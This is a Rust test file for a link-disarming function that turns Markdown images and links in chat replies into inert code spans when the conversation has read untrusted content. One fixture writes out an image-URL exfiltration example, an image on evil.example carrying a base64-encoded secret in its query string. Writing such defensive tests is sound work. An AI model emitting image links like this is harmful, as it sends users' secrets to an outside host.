//! `links::disarm` on each form of image and link, clean and untrusted, and on code that must be //! left as it is (M5b spec, section 9; the plan's review focus 4). Do not edit. use gatewayd::links::{NOTICE, disarm}; /// (case, input, clean reply, untrusted reply, whether the untrusted reply had a link disarmed). type Case = (&'static str, &'static str, &'static str, &'static str, bool); const IMAGES: &[Case] = &[ ( "inline image", "An image ![alt](https://e.example/x.png) here.", "An image `![alt](https://e.example/x.png)` here.", "An image `![alt](https://e.example/x.png)` here.", false, ), ( "image with a size", "![alt](https://e.example/x.png =50x76)", "`![alt](https://e.example/x.png =50x76)`", "`![alt](https://e.example/x.png =50x76)`", false, ), ( "image with a width and a title", "![alt](https://e.example/x.png =50 \"Hover\")", "`![alt](https://e.example/x.png =50 \"Hover\")`", "`![alt](https://e.example/x.png =50 \"Hover\")`", false, ), ( "reference image and its definition", "![alt][logo]\n\n[logo]: https://e.example/l.png", "`![alt][logo]`\n\n[logo]: https://e.example/l.png", "`![alt][logo]`\n\n`[logo]: https://e.example/l.png`", true, ), ( "collapsed and shortcut reference images", "![logo][] and ![logo]", "`![logo][]` and `![logo]`", "`![logo][]` and `![logo]`", false, ), ( "reference image with a space before its label", "![alt] [logo] end", "`![alt] [logo]` end", "`![alt] [logo]` end", false, ), ( "data in an image URL (T37)", "Done. ![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)", "Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`", "Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`", false, ), ( "image glued to text, non-ASCII too", "A![x](https://e.example/a)B 字![图](https://e.example/b)字", "A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字", "A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字", false, ), ( "image alt over two lines", "![a\nb](https://e.example/x)", "`![a`\n`b](https://e.example/x)`", "`![a`\n`b](https://e.example/x)`", false, ), ( "image alt with a pipe", "![a|b](https://e.example/x)", "`![a`| `b](https://e.example/x)`", "`![a`| `b](https://e.example/x)`", false, ), ( "image inside a link", "[![img](https://a.example/i.png)](https://b.example)", "`[![img](https://a.example/i.png)](https://b.example)`", "`[![img](https://a.example/i.png)](https://b.example)`", true, ), ( "image inside brackets that are no link", "[![a](https://e.example/a)]", "\\[ `![a](https://e.example/a)`]", "\\[ `![a](https://e.example/a)`]", false, ), ( "no bracket closes the alt", "![alt(https://e.example/x.png)", "`![`alt(https://e.example/x.png)", "`![`alt( `https://e.example/x.png`)", true, ), ( "escaped exclamation mark", "\\![x](https://e.example/a)", "\\![x](https://e.example/a)", "\\! `[x](https://e.example/a)`", true, ), ( "escaped backslash, then an image", "\\\\![x](https://e.example/a)", "\\\\ `![x](https://e.example/a)`", "\\\\ `![x](https://e.example/a)`", false, ), ]; const LINKS: &[Case] = &[ ( "plain URL, its full stop left out", "See https://example.com/a.", "See https://example.com/a.", "See `https://example.com/a`.", true, ), ( "autolink", "", "", "``", true, ), ( "email autolink", "Write to .", "Write to .", "Write to ``.", true, ), ( "Markdown link with a title", "[the docs](https://docs.example/p \"Title\")", "[the docs](https://docs.example/p \"Title\")", "`[the docs](https://docs.example/p \"Title\")`", true, ), ( "reference link and its definition", "[docs][d]\n\n[d]: https://docs.example/p", "[docs][d]\n\n[d]: https://docs.example/p", "`[docs][d]`\n\n`[d]: https://docs.example/p`", true, ), ( "relative link", "[home](/channels/town)", "[home](/channels/town)", "`[home](/channels/town)`", true, ), ( "www without a scheme", "at www.example.com today", "at www.example.com today", "at `www.example.com` today", true, ), ( "domain and path without a scheme", "example.org/path and example.org", "example.org/path and example.org", "`example.org/path` and example.org", true, ), ( "schemes without slashes", "mailto:owner@example.com or tel:5551234", "mailto:owner@example.com or tel:5551234", "`mailto:owner@example.com` or `tel:5551234`", true, ), ( "prose with colons", "Note: a ratio of 3:2 and key:value", "Note: a ratio of 3:2 and key:value", "Note: a ratio of 3:2 and `key:value`", true, ), ( "URL with parentheses, inside parentheses", "(see https://en.example/wiki/Rust_(language))", "(see https://en.example/wiki/Rust_(language))", "(see `https://en.example/wiki/Rust_(language)`)", true, ), ( "URL up to a backtick", "https://x.example/a`b", "https://x.example/a`b", "``https://x.example/a`` `b", true, ), ( "non-ASCII URL and text", "Привет, мир: https://пример.рф/путь и всё.", "Привет, мир: https://пример.рф/путь и всё.", "Привет, мир: `https://пример.рф/путь` и всё.", true, ), ( "two links on a line", "[a](https://a.example) or https://b.example/x?y=1", "[a](https://a.example) or https://b.example/x?y=1", "`[a](https://a.example)` or `https://b.example/x?y=1`", true, ), ( "angle brackets around a space are no autolink", "", "", "", true, ), ( "a scheme inside a word is no URL", "1http://x.example/p", "1http://x.example/p", "1http://x.example/p", false, ), ( "a last part of five letters is no domain", "x.abcde/p and x.abcd/p", "x.abcde/p and x.abcd/p", "x.abcde/p and `x.abcd/p`", true, ), ( "www with digits", "www2.example.com", "www2.example.com", "`www2.example.com`", true, ), ( "brackets and angle brackets that are no link", "[not a link] and and a < b", "[not a link] and and a < b", "[not a link] and and a < b", false, ), ( "definition padded with spaces, ending in a backtick", " [x]: https://e.example/`", " [x]: https://e.example/`", "`` [x]: https://e.example/``\\`", true, ), ( "a definition needs a label", "[]: https://e.example/x", "[]: https://e.example/x", "[]: `https://e.example/x`", true, ), ( "a definition only at the start of a line", "text [x]: https://e.example", "text [x]: https://e.example", "text [x]: `https://e.example`", true, ), ]; const CODE: &[Case] = &[ ( "code spans", "Run `curl https://example.com/x` and `![a](https://e.example/b)` now.", "Run `curl https://example.com/x` and `![a](https://e.example/b)` now.", "Run `curl https://example.com/x` and `![a](https://e.example/b)` now.", false, ), ( "fenced block", "Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.", "Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.", "Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.", false, ), ( "tilde fence, and a longer fence holding a shorter one", "~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````", "~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````", "~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````", false, ), ( "span with a backtick inside", "``a ` https://x.example`` and ``![i](https://e.example/a)``", "``a ` https://x.example`` and ``![i](https://e.example/a)``", "``a ` https://x.example`` and ``![i](https://e.example/a)``", false, ), ( "link text in code", "[`code`](https://d.example)", "[`code`](https://d.example)", "``[``\\` ``code``\\` ``](https://d.example)``", true, ), ( "code in code, and a link beside it", "`https://a.example` https://b.example", "`https://a.example` https://b.example", "`https://a.example` ``https://b.example``", true, ), ]; const TICKS: &[Case] = &[ ( "runs longer than any in the reply", "``x`` then https://y.example and ![i](https://e.example/a)", "``x`` then https://y.example and ```![i](https://e.example/a)```", "``x`` then ```https://y.example``` and ```![i](https://e.example/a)```", true, ), ( "a fence counts", "```\ncode\n```\nhttps://y.example", "```\ncode\n```\nhttps://y.example", "```\ncode\n```\n````https://y.example````", true, ), ( "backticks inside the image go between spans, escaped", "![a`b](https://e.example/`q`)", "``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``", "``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``", false, ), ( "a backtick right after the image", "x ![a](https://e.example/a)`y`", "x ``![a](https://e.example/a)`` `y`", "x ``![a](https://e.example/a)`` `y`", false, ), ( "a lone backtick right before the image", "`![a](https://e.example/a)", "` ``![a](https://e.example/a)``", "` ``![a](https://e.example/a)``", false, ), ]; fn check(table: &[Case]) { for &(case, input, clean, untrusted, links) in table { let got = disarm(input, false); assert_eq!(got.text, clean, "{case}: clean"); assert!(!got.links, "{case}: a clean reply never has links disarmed"); let got = disarm(input, true); assert_eq!(got.text, untrusted, "{case}: untrusted"); assert_eq!(got.links, links, "{case}: links"); } } #[test] fn images_are_code_in_every_reply() { check(IMAGES); } #[test] fn links_are_code_only_when_untrusted() { check(LINKS); } #[test] fn code_is_left_as_it_is() { check(CODE); } #[test] fn new_spans_use_a_longer_run_and_never_touch_a_backtick() { check(TICKS); } #[test] fn disarming_twice_changes_nothing() { for table in [IMAGES, LINKS, CODE, TICKS] { for &(case, input, ..) in table { for untrusted in [false, true] { let once = disarm(input, untrusted).text; let twice = disarm(&once, untrusted); assert_eq!(twice.text, once, "{case}: untrusted {untrusted}"); assert!( !twice.links, "{case}: untrusted {untrusted}: nothing left to disarm" ); } } } } #[test] fn text_without_images_or_links_is_unchanged() { for text in [ "", "Plain words.", "Ünïcödé, 日本語, emoji 🦀, and a tab\there.", "Lines\n\nwith\r\nbreaks\rof\u{2424}every kind\n", "A list:\n- one\n- two\n\n> a quote\n\n# A heading", "Emphasis: *a*, **b**, _c_, ~~d~~ and a table:\n| a | b |\n|---|---|\n| 1 | 2 |", "Paths: crates/gatewayd/src/links.rs, ../x.txt, C:\\temp and std::io", ] { for untrusted in [false, true] { let got = disarm(text, untrusted); assert_eq!(got.text, text, "untrusted {untrusted}"); assert!(!got.links); } } } #[test] fn the_notice_is_one_line() { assert_eq!( NOTICE, "Links in this reply are shown as code because this conversation has read untrusted content." ); assert!(!NOTICE.contains('\n')); }